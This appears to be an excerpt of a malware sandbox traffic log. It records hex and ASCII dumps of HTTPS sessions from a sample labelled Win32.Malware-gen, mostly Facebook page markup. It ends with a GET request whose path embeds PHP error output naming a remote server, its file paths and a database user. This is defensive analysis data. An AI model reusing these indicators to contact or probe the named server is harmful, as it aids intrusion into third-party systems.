2022-09-09 16:00:31 UTC	209	IN	Data Raw: 69 6e 20 45 75 72 6f 70 65 2c 20 6f 72 20 74 68 72 6f 75 67 68 20 79 6f 75 72 20 6d 6f 62 69 6c 65 20 64 65 76 69 63 65 20 73 65 74 74 69 6e 67 73 2c 20 69 66 20 79 6f 75 20 61 72 65 20 75 73 69 6e 67 20 41 6e 64 72 6f 69 64 2c 20 69 4f 53 20 31 33 20 6f 72 20 61 6e 20 65 61 72 6c 69 65 72 20 76 65 72 73 69 6f 6e 20 6f 66 20 69 4f 53 2e 20 50 6c 65 61 73 65 20 6e 6f 74 65 20 74 68 61 74 20 61 64 20 62 6c 6f 63 6b 65 72 73 20 61 6e 64 20 74 6f 6f 6c 73 20 74 68 61 74 20 72 65 73 74 72 69 63 74 20 6f 75 72 20 63 6f 6f 6b 69 65 20 75 73 65 20 6d 61 79 20 69 6e 74 65 72 66 65 72 65 20 77 69 74 68 20 74 68 65 73 65 20 63 6f 6e 74 72 6f 6c 73 2e 5c 75 30 30 33 43 5c 2f 70 3e 5c 75 30 30 33 43 70 20 63 6c 61 73 73 3d 5c 22 5f 39 6f 2d 6d 5c 22 3e 54 68 65 20 61 Data Ascii: in Europe, or through your mobile device settings, if you are using Android, iOS 13 or an earlier version of iOS. Please note that ad blockers and tools that restrict our cookie use may interfere with these controls.\u003C\/p>\u003Cp class=\"_9o-m\">The a
2022-09-09 16:00:31 UTC	210	IN	Data Raw: 50 76 39 4a 6f 35 70 46 59 51 6d 52 38 47 6d 37 6e 72 70 6c 54 42 6e 77 51 43 4d 55 42 38 70 6b 45 2d 72 47 69 37 41 5a 65 67 49 73 34 38 6e 68 34 4a 6e 64 2d 46 4b 34 66 6c 4c 66 33 4e 61 32 4e 38 35 70 63 57 59 63 53 41 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 20 72 65 6c 3d 5c 22 6e 6f 66 6f 6c 6c 6f 77 5c 22 20 64 61 74 61 2d 6c 79 6e 78 2d 6d 6f 64 65 3d 5c 22 68 6f 76 65 72 5c 22 3e 45 75 72 6f 70 65 61 6e 20 49 6e 74 65 72 61 63 74 69 76 65 20 44 69 67 69 74 61 6c 20 41 64 76 65 72 74 69 73 69 6e 67 20 41 6c 6c 69 61 6e 63 65 5c 75 30 30 33 43 5c 2f 61 3e 5c 75 30 30 33 43 5c 2f 6c 69 3e 5c 75 30 30 33 43 5c 2f 75 6c 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c Data Ascii: Pv9Jo5pFYQmR8Gm7nrplTBnwQCMUB8pkE-rGi7AZegIs48nh4Jnd-FK4flLf3Na2N85pcWYcSA\" target=\"_blank\" rel=\"nofollow\" data-lynx-mode=\"hover\">European Interactive Digital Advertising Alliance\u003C\/a>\u003C\/li>\u003C\/ul>\u003C\/div>\u003C\/div>\u003C\/div>\
2022-09-09 16:00:31 UTC	212	IN	Data Raw: 5f 4a 57 6a 46 4f 68 79 79 44 66 4d 6b 63 65 6a 4d 51 61 43 57 4b 63 32 78 56 37 30 2d 51 55 5a 52 4d 72 4d 59 68 53 35 53 53 5a 5f 67 42 76 6a 78 61 7a 53 55 7a 48 63 4b 5a 4c 43 6b 58 55 31 69 64 32 44 75 59 53 65 59 32 78 76 56 52 75 61 59 79 75 63 31 4f 39 41 58 57 64 66 6b 62 57 69 32 43 36 30 47 64 75 38 4b 58 79 50 52 79 61 57 4c 4a 69 57 66 51 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 20 72 65 6c 3d 5c 22 6e 6f 66 6f 6c 6c 6f 77 5c 22 20 64 61 74 61 2d 6c 79 6e 78 2d 6d 6f 64 65 3d 5c 22 68 6f 76 65 72 5c 22 3e 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 5c 75 30 30 33 43 5c 2f 61 3e 5c 75 30 30 33 43 5c 2f 6c 69 3e 5c 75 30 30 33 43 6c 69 3e 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 6c 2e 66 61 63 65 Data Ascii: _JWjFOhyyDfMkcejMQaCWKc2xV70-QUZRMrMYhS5SSZ_gBvjxazSUzHcKZLCkXU1id2DuYSeY2xvVRuaYyuc1O9AXWdfkbWi2C60Gdu8KXyPRyaWLJiWfQ\" target=\"_blank\" rel=\"nofollow\" data-lynx-mode=\"hover\">Google Chrome\u003C\/a>\u003C\/li>\u003Cli>\u003Ca href=\"https:\/\/l.face
2022-09-09 16:00:31 UTC	213	IN	Data Raw: 61 72 69 5c 75 30 30 33 43 5c 2f 61 3e 5c 75 30 30 33 43 5c 2f 6c 69 3e 5c 75 30 30 33 43 6c 69 3e 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 6c 2e 70 68 70 3f 75 3d 68 74 74 70 73 5c 75 30 30 32 35 33 41 5c 75 30 30 32 35 32 46 5c 75 30 30 32 35 32 46 73 75 70 70 6f 72 74 2e 61 70 70 6c 65 2e 63 6f 6d 5c 75 30 30 32 35 32 46 65 6e 2d 75 73 5c 75 30 30 32 35 32 46 48 54 32 30 31 32 36 35 26 61 6d 70 3b 68 3d 41 54 33 45 38 48 67 50 64 53 74 37 62 65 6e 52 47 6f 33 49 4b 37 33 6a 64 64 78 6e 35 6d 41 57 78 6d 55 55 4a 74 52 4f 4b 7a 39 48 4d 74 77 46 5f 49 34 5f 75 41 37 49 59 4d 5f 4c 30 58 43 52 30 5f 52 4b 4a 78 56 68 35 45 64 48 74 54 78 66 39 6e 5a 65 33 39 2d 36 57 49 36 Data Ascii: ari\u003C\/a>\u003C\/li>\u003Cli>\u003Ca href=\"https:\/\/l.facebook.com\/l.php?u=https\u00253A\u00252F\u00252Fsupport.apple.com\u00252Fen-us\u00252FHT201265&h=AT3E8HgPdSt7benRGo3IK73jddxn5mAWxmUUJtROKz9HMtwF_I4_uA7IYM_L0XCR0_RKJxVh5EdHtTxf9nZe39-6WI6
2022-09-09 16:00:31 UTC	215	IN	Data Raw: 69 64 3d 5c 22 75 5f 30 5f 64 5f 73 4b 5c 22 3e 41 6c 6c 6f 77 20 65 73 73 65 6e 74 69 61 6c 20 61 6e 64 20 6f 70 74 69 6f 6e 61 6c 20 63 6f 6f 6b 69 65 73 5c 75 30 30 33 43 5c 2f 62 75 74 74 6f 6e 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 22 7d 2c 38 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 30 5f 6e 6d 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 42 61 68 61 73 61 20 49 6e 64 6f 6e 65 73 69 61 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 31 5f 4d 41 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 44 61 6e 73 6b 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 32 5f 49 6d 22 2c 7b 22 5f 5f 68 74 6d Data Ascii: id=\"u_0_d_sK\">Allow essential and optional cookies\u003C\/button>\u003C\/div>\u003C\/div>\u003C\/div>"},8],["__markup_3310c079_0_0_nm",{"__html":"Bahasa Indonesia"},1],["__markup_3310c079_0_1_MA",{"__html":"Dansk"},1],["__markup_3310c079_0_2_Im",{"__htm
2022-09-09 16:00:31 UTC	216	IN	Data Raw: 31 5c 75 30 34 33 61 5c 75 30 34 33 38 5c 75 30 34 33 39 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 6e 5f 70 36 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 5c 75 30 35 65 32 5c 75 30 35 64 31 5c 75 30 35 65 38 5c 75 30 35 64 39 5c 75 30 35 65 61 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 6f 5f 53 36 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 5c 75 30 36 32 37 5c 75 30 36 34 34 5c 75 30 36 33 39 5c 75 30 36 33 31 5c 75 30 36 32 38 5c 75 30 36 34 61 5c 75 30 36 32 39 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 70 5f 62 62 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 5c 75 30 39 33 39 5c 75 30 39 33 66 5c 75 30 39 32 38 5c 75 30 39 34 64 5c 75 30 39 32 Data Ascii: 1\u043a\u0438\u0439"},1],["__markup_3310c079_0_n_p6",{"__html":"\u05e2\u05d1\u05e8\u05d9\u05ea"},1],["__markup_3310c079_0_o_S6",{"__html":"\u0627\u0644\u0639\u0631\u0628\u064a\u0629"},1],["__markup_3310c079_0_p_bb",{"__html":"\u0939\u093f\u0928\u094d\u092
2022-09-09 16:00:31 UTC	218	IN	Data Raw: 61 35 38 38 66 35 30 37 5f 30 5f 36 5f 64 63 22 2c 22 75 5f 30 5f 62 5f 41 44 22 2c 31 2c 22 5f 5f 6d 61 72 6b 75 70 5f 39 66 35 66 61 63 31 35 5f 30 5f 30 5f 68 6b 22 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 34 35 64 37 33 62 35 64 5f 30 5f 31 5f 46 50 22 2c 22 75 5f 30 5f 63 5f 6f 65 22 2c 31 2c 22 5f 5f 6d 61 72 6b 75 70 5f 39 66 35 66 61 63 31 35 5f 30 5f 30 5f 68 6b 22 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 34 35 64 37 33 62 35 64 5f 30 5f 30 5f 30 7a 22 2c 22 75 5f 30 5f 64 5f 73 4b 22 2c 31 2c 22 5f 5f 6d 61 72 6b 75 70 5f 39 66 35 66 61 63 31 35 5f 30 5f 30 5f 68 6b 22 5d 5d 2c 22 72 65 71 75 69 72 65 22 3a 5b 5b 22 53 63 72 69 70 74 50 61 74 68 22 2c 22 73 65 74 22 2c 5b 5d 2c 5b 22 5c 2f 34 6f 68 34 2e 70 68 70 22 2c 22 38 66 61 65 63 34 35 30 22 2c 7b 22 69 Data Ascii: a588f507_0_6_dc","u_0_b_AD",1,"__markup_9f5fac15_0_0_hk"],["__elem_45d73b5d_0_1_FP","u_0_c_oe",1,"__markup_9f5fac15_0_0_hk"],["__elem_45d73b5d_0_0_0z","u_0_d_sK",1,"__markup_9f5fac15_0_0_hk"]],"require":[["ScriptPath","set",[],["\/4oh4.php","8faec450",{"i
2022-09-09 16:00:31 UTC	219	IN	Data Raw: 61 72 61 6d 65 74 65 72 5c 75 30 30 32 35 32 30 32 5c 75 30 30 32 35 32 30 74 6f 5c 75 30 30 32 35 32 30 62 65 5c 75 30 30 32 35 32 30 72 65 73 6f 75 72 63 65 2c 5c 75 30 30 32 35 32 30 62 6f 6f 6c 65 61 6e 5c 75 30 30 32 35 32 30 67 69 76 65 6e 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 37 33 5c 75 30 30 Data Ascii: arameter\u0025202\u002520to\u002520be\u002520resource,\u002520boolean\u002520given\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E73\u00
2022-09-09 16:00:31 UTC	221	IN	Data Raw: 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 39 34 63 31 35 33 38 35 5f 30 5f 30 5f 46 7a 22 7d 2c 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 30 37 32 62 38 65 36 34 5f 30 5f 30 5f 4c 44 22 7d 2c 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 33 5f 73 44 22 7d 5d 5d 2c 5b 22 54 69 6d 65 7a 6f 6e 65 41 75 74 6f 73 65 74 22 2c 22 73 65 74 49 6e 70 75 74 56 61 6c 75 65 22 2c 5b 22 5f 5f 65 6c 65 6d 5f 66 34 36 66 34 39 34 36 5f 30 5f 30 5f 76 59 22 5d 2c 5b 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 66 34 36 66 34 39 34 36 5f 30 5f 30 5f 76 59 22 7d 2c 31 36 36 32 37 33 39 32 33 31 5d 5d 2c 5b 22 53 63 72 65 65 6e 44 69 6d 65 6e 73 69 6f 6e 73 41 75 74 6f 53 65 74 22 2c 22 73 65 74 49 6e 70 75 74 56 61 6c 75 65 22 2c 5b 22 5f 5f Data Ascii: __m":"__elem_94c15385_0_0_Fz"},{"__m":"__elem_072b8e64_0_0_LD"},{"__m":"__elem_a588f507_0_3_sD"}]],["TimezoneAutoset","setInputValue",["__elem_f46f4946_0_0_vY"],[{"__m":"__elem_f46f4946_0_0_vY"},1662739231]],["ScreenDimensionsAutoSet","setInputValue",["__
2022-09-09 16:00:31 UTC	222	IN	Data Raw: 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 2c 22 42 61 6e 7a 61 69 53 63 75 62 61 5f 44 45 50 52 45 43 41 54 45 44 22 2c 22 50 61 67 65 54 72 61 6e 73 69 74 69 6f 6e 73 22 2c 22 41 6e 69 6d 61 74 69 6f 6e 22 5d 2c 22 63 73 73 22 5d 5d 2c 5b 22 54 69 6d 65 53 6c 69 63 65 49 6d 70 6c 22 5d 2c 5b 22 48 61 73 74 65 53 75 70 70 6f 72 74 44 61 74 61 22 5d 2c 5b 22 53 65 72 76 65 72 4a 53 22 5d 2c 5b 22 52 75 6e 22 5d 2c 5b 22 49 6e 69 74 69 61 6c 4a 53 4c 6f 61 64 65 72 22 5d 5d 2c 22 63 6f 6e 74 65 78 74 73 22 3a 5b 5b 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 31 5f 48 6f 22 7d 2c 74 72 75 65 5d 2c 5b 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 Data Ascii: ogging","IntlQtEventFalcoEvent","BanzaiScuba_DEPRECATED","PageTransitions","Animation"],"css"]],["TimeSliceImpl"],["HasteSupportData"],["ServerJS"],["Run"],["InitialJSLoader"]],"contexts":[[{"__m":"__elem_a588f507_0_1_Ho"},true],[{"__m":"__elem_a588f507_0
2022-09-09 16:00:31 UTC	224	IN	Data Raw: 6e 6f 6e 63 65 3d 22 41 42 6a 34 4c 64 6e 32 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 65 2f 72 2f 5f 53 36 62 5a 63 32 4e 72 71 7a 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 41 42 6a 34 4c 64 6e 32 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 39 2f 72 2f 4a 79 35 56 49 77 2d 50 65 6e 42 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 Data Ascii: nonce="ABj4Ldn2" /><link rel="preload" href="https://static.xx.fbcdn.net/rsrc.php/v3/ye/r/_S6bZc2Nrqz.js?_nc_x=Ij3Wp8lg5Kz" as="script" nonce="ABj4Ldn2" /><link rel="preload" href="https://static.xx.fbcdn.net/rsrc.php/v3/y9/r/Jy5VIw-PenB.js?_nc_x=Ij3Wp8
2022-09-09 16:00:31 UTC	225	IN	Data Raw: 41 42 6a 34 4c 64 6e 32 22 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 6e 6f 77 5f 69 6e 6c 28 29 3b 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 5f 5f 62 69 67 50 69 70 65 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 62 69 67 50 69 70 65 29 7b 62 69 67 50 69 70 65 2e 62 65 66 6f 72 65 50 61 67 65 6c 65 74 41 72 72 69 76 65 28 22 66 69 72 73 74 5f 72 65 73 70 6f 6e 73 65 22 2c 6e 29 3b 7d 29 7d 29 28 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 41 42 6a 34 4c 64 6e 32 22 3e 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 5f 5f 62 69 67 50 69 70 65 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 62 69 67 50 69 70 65 29 7b 62 69 67 50 69 70 65 2e 6f 6e 50 61 67 65 6c 65 74 41 72 72 69 76 65 28 7b 64 69 73 70 6c 61 79 52 65 73 6f 75 72 Data Ascii: ABj4Ldn2">(function(){var n=now_inl();requireLazy(["__bigPipe"],function(bigPipe){bigPipe.beforePageletArrive("first_response",n);})})();</script><script nonce="ABj4Ldn2">requireLazy(["__bigPipe"],(function(bigPipe){bigPipe.onPageletArrive({displayResour
2022-09-09 16:00:31 UTC	226	IN	Data Raw: 31 31 38 65 0d 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 41 42 6a 34 4c 64 6e 32 22 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 6e 6f 77 5f 69 6e 6c 28 29 3b 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 5f 5f 62 69 67 50 69 70 65 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 62 69 67 50 69 70 65 29 7b 62 69 67 50 69 70 65 2e 62 65 66 6f 72 65 50 61 67 65 6c 65 74 41 72 72 69 76 65 28 22 6c 61 73 74 5f 72 65 73 70 6f 6e 73 65 22 2c 6e 29 3b 7d 29 7d 29 28 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 41 42 6a 34 4c 64 6e 32 22 3e 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 5f 5f 62 69 67 50 69 70 65 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 62 69 67 50 69 70 65 29 7b 62 69 67 50 69 70 65 2e 6f 6e 50 61 67 65 6c 65 74 41 Data Ascii: 118e<script nonce="ABj4Ldn2">(function(){var n=now_inl();requireLazy(["__bigPipe"],function(bigPipe){bigPipe.beforePageletArrive("last_response",n);})})();</script><script nonce="ABj4Ldn2">requireLazy(["__bigPipe"],(function(bigPipe){bigPipe.onPageletA
2022-09-09 16:00:31 UTC	228	IN	Data Raw: 6e 6f 43 41 5a 4d 49 37 41 41 32 72 68 53 4b 4b 37 49 62 41 6c 4c 37 4f 6e 58 73 57 68 4e 5f 66 70 61 44 45 41 2d 4b 42 6c 4a 48 4f 51 4a 42 71 62 39 32 50 6f 4c 72 36 52 68 42 78 32 50 30 43 79 70 44 74 50 68 2d 4e 5f 49 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 30 38 33 31 31 36 22 2c 5b 22 58 41 73 79 6e 63 52 65 71 75 65 73 74 22 5d 2c 7b 5f 5f 72 63 3a 5b 22 58 41 73 79 6e 63 52 65 71 75 65 73 74 22 2c 22 41 61 33 58 63 4a 76 35 6c 79 4c 33 64 6e 56 36 48 6e 6f 43 41 5a 4d 49 37 41 41 32 72 68 53 4b 4b 37 49 62 41 6c 4c 37 4f 6e 58 73 57 68 4e 5f 66 70 61 44 45 41 2d 4b 42 6c 4a 48 4f 51 4a 42 71 62 39 32 50 6f 4c 72 36 52 68 42 78 32 50 30 43 79 70 44 74 50 68 2d 4e 5f 49 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 30 38 33 31 31 37 22 2c 5b 5d 2c 7b Data Ascii: noCAZMI7AA2rhSKK7IbAlL7OnXsWhN_fpaDEA-KBlJHOQJBqb92PoLr6RhBx2P0CypDtPh-N_I"]},-1],["cr:1083116",["XAsyncRequest"],{__rc:["XAsyncRequest","Aa3XcJv5lyL3dnV6HnoCAZMI7AA2rhSKK7IbAlL7OnXsWhN_fpaDEA-KBlJHOQJBqb92PoLr6RhBx2P0CypDtPh-N_I"]},-1],["cr:1083117",[],{
2022-09-09 16:00:31 UTC	229	IN	Data Raw: 78 7a 6f 35 59 55 56 4f 47 63 6d 6b 67 32 59 42 31 4a 6a 6d 5a 55 57 67 22 5d 7d 2c 2d 31 5d 2c 5b 22 42 61 6e 7a 61 69 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 4d 41 58 5f 53 49 5a 45 3a 31 30 30 30 30 2c 4d 41 58 5f 57 41 49 54 3a 31 35 30 30 30 30 2c 4d 49 4e 5f 57 41 49 54 3a 6e 75 6c 6c 2c 52 45 53 54 4f 52 45 5f 57 41 49 54 3a 31 35 30 30 30 30 2c 62 6c 61 63 6b 6c 69 73 74 3a 5b 22 74 69 6d 65 5f 73 70 65 6e 74 22 5d 2c 64 69 73 61 62 6c 65 64 3a 66 61 6c 73 65 2c 67 6b 73 3a 7b 62 6f 6f 73 74 65 64 5f 70 61 67 65 6c 69 6b 65 73 3a 74 72 75 65 2c 6d 65 72 63 75 72 79 5f 73 65 6e 64 5f 65 72 72 6f 72 5f 6c 6f 67 67 69 6e 67 3a 74 72 75 65 2c 70 6c 61 74 66 6f 72 6d 5f 6f 61 75 74 68 5f 63 6c 69 65 6e 74 5f 65 76 65 6e 74 73 3a 74 72 75 65 2c 67 72 61 70 Data Ascii: xzo5YUVOGcmkg2YB1JjmZUWg"]},-1],["BanzaiConfig",[],{MAX_SIZE:10000,MAX_WAIT:150000,MIN_WAIT:null,RESTORE_WAIT:150000,blacklist:["time_spent"],disabled:false,gks:{boosted_pagelikes:true,mercury_send_error_logging:true,platform_oauth_client_events:true,grap
2022-09-09 16:00:31 UTC	230	IN	Data Raw: 0d 0a 31 31 35 65 0d 0a 74 46 69 4f 5a 56 6a 37 70 63 74 78 4c 78 33 35 75 58 75 4f 68 78 42 48 53 73 66 30 71 34 32 49 62 5f 61 5f 74 4f 43 35 79 4e 6f 6e 7a 6b 30 31 49 33 47 74 57 41 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 39 38 33 38 34 34 22 2c 5b 5d 2c 7b 5f 5f 72 63 3a 5b 6e 75 6c 6c 2c 22 41 61 31 41 58 46 44 51 48 37 2d 42 65 62 56 4e 55 4f 44 58 65 39 50 35 5f 73 36 5a 4f 6b 47 4c 4f 32 54 75 5a 78 5f 54 51 35 70 33 46 63 36 69 52 48 75 65 6a 61 31 6d 33 56 78 7a 6f 35 59 55 56 4f 47 63 6d 6b 67 32 59 42 31 4a 6a 6d 5a 55 57 67 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 33 34 34 34 38 37 22 2c 5b 22 52 65 61 63 74 44 4f 4d 46 6f 72 6b 65 64 2d 70 72 6f 64 2e 63 6c 61 73 73 69 63 22 5d 2c 7b 5f 5f 72 63 3a 5b 22 52 65 61 63 74 44 4f 4d 46 6f 72 6b Data Ascii: 115etFiOZVj7pctxLx35uXuOhxBHSsf0q42Ib_a_tOC5yNonzk01I3GtWA"]},-1],["cr:983844",[],{__rc:[null,"Aa1AXFDQH7-BebVNUODXe9P5_s6ZOkGLO2TuZx_TQ5p3Fc6iRHueja1m3Vxzo5YUVOGcmkg2YB1JjmZUWg"]},-1],["cr:1344487",["ReactDOMForked-prod.classic"],{__rc:["ReactDOMFork
2022-09-09 16:00:31 UTC	232	IN	Data Raw: 42 78 32 50 30 43 79 70 44 74 50 68 2d 4e 5f 49 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 31 38 37 31 35 39 22 2c 5b 22 42 6c 75 65 43 6f 6d 70 61 74 42 72 6f 6b 65 72 22 5d 2c 7b 5f 5f 72 63 3a 5b 22 42 6c 75 65 43 6f 6d 70 61 74 42 72 6f 6b 65 72 22 2c 22 41 61 33 58 63 4a 76 35 6c 79 4c 33 64 6e 56 36 48 6e 6f 43 41 5a 4d 49 37 41 41 32 72 68 53 4b 4b 37 49 62 41 6c 4c 37 4f 6e 58 73 57 68 4e 5f 66 70 61 44 45 41 2d 4b 42 6c 4a 48 4f 51 4a 42 71 62 39 32 50 6f 4c 72 36 52 68 42 78 32 50 30 43 79 70 44 74 50 68 2d 4e 5f 49 22 5d 7d 2c 2d 31 5d 2c 5b 22 49 6d 6d 65 64 69 61 74 65 41 63 74 69 76 65 53 65 63 6f 6e 64 73 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 73 61 6d 70 6c 69 6e 67 5f 72 61 74 65 3a 30 7d 2c 34 32 33 5d 5d 2c 72 65 71 75 69 72 65 3a 5b 5b 22 Data Ascii: Bx2P0CypDtPh-N_I"]},-1],["cr:1187159",["BlueCompatBroker"],{__rc:["BlueCompatBroker","Aa3XcJv5lyL3dnV6HnoCAZMI7AA2rhSKK7IbAlL7OnXsWhN_fpaDEA-KBlJHOQJBqb92PoLr6RhBx2P0CypDtPh-N_I"]},-1],["ImmediateActiveSecondsConfig",[],{sampling_rate:0},423]],require:[["
2022-09-09 16:00:31 UTC	233	IN	Data Raw: 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 25 33 45 22 2c 73 65 72 76 65 72 4c 49 44 3a 22 37 31 34 31 34 31 30 36 32 30 36 39 39 33 32 30 33 37 34 22 7d 5d 5d 2c 5b 22 46 61 6c 63 6f 4c 6f 67 67 65 72 54 72 61 6e 73 70 6f 72 74 73 22 2c 22 61 74 74 61 63 68 22 2c 5b 5d 2c 5b 5d 5d 2c 5b 22 43 6c 69 63 6b 52 65 66 4c 6f 67 67 65 72 22 5d 2c 5b 22 44 65 74 65 63 74 42 72 6f 6b 65 6e 50 72 6f Data Ascii: E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E",serverLID:"7141410620699320374"}]],["FalcoLoggerTransports","attach",[],[]],["ClickRefLogger"],["DetectBrokenPro

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.7	49734	31.13.92.36	443	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe

Timestamp	kBytes transferred	Direction	Data
2022-09-09 16:00:39 UTC	235	OUT	GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%